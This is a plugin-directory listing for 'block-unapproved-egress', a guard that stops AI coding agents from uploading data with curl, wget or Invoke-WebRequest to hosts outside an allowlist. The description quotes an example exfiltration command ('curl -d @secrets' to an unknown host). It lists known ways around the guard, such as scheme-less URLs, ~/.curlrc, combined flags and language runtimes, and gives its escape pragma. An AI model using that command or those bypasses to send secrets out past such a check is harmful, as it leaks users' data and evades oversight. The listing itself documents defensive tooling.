---
title: "block-unapproved-egress"
description: "Best-effort guard against exfiltration through the tool channel: a network command (curl/wget/Invoke-WebRequest) that UPLOADS data -- POST/PUT, --data/--form, --upload-file, --post-file -- to a host outside the egress al"
canonical: https://agentpluginsdirectory.com/plugins/block-unapproved-egress
last-updated: 2026-08-27
---

# block-unapproved-egress
Best-effort guard against exfiltration through the tool channel: a network command (curl/wget/Invoke-WebRequest) that UPLOADS data -- POST/PUT, --data/--form, --upload-file, --post-file -- to a host outside the egress allowlist. The allowlist defaults to package registries and code hosting and is meant to be extended with your org's own domains; a host matches by exact name or ".<entry>" suffix. Fetch-only traffic (a bare GET, `pip install`) is left alone -- the target is upload to an unapproved host, not normal dependency traffic. This is a tool-time FLOOR, not a network sandbox: it stops the obvious `curl -d @secrets https://unknown` reflex; containing a determined adversary needs real sandboxing. Known bypass classes include scheme-less URL targets (host extraction needs the http(s):// prefix), a request driven by curl's implicit ~/.curlrc, combined short flags, obfuscated payloads, non-standard clients, and egress via a language runtime. Escape: 'pragma: allowlist egress'.
- Slug: block-unapproved-egress
- Publisher: chock-core
- Repository: https://github.com/open-coder-ai/chock-catalog
- Manifest: .agents/policies/block-unapproved-egress/plugin.json
- Version: 0.0.1
- License: Apache-2.0
- Category (editorial): security
- Skills: 1 (block-unapproved-egress)
- MCP servers: 0
- Stars: 1
- Listing: https://agentpluginsdirectory.com/plugins/block-unapproved-egress
- Schema: https://agent-plugins.org/schemas/1.0.0/plugin.schema.json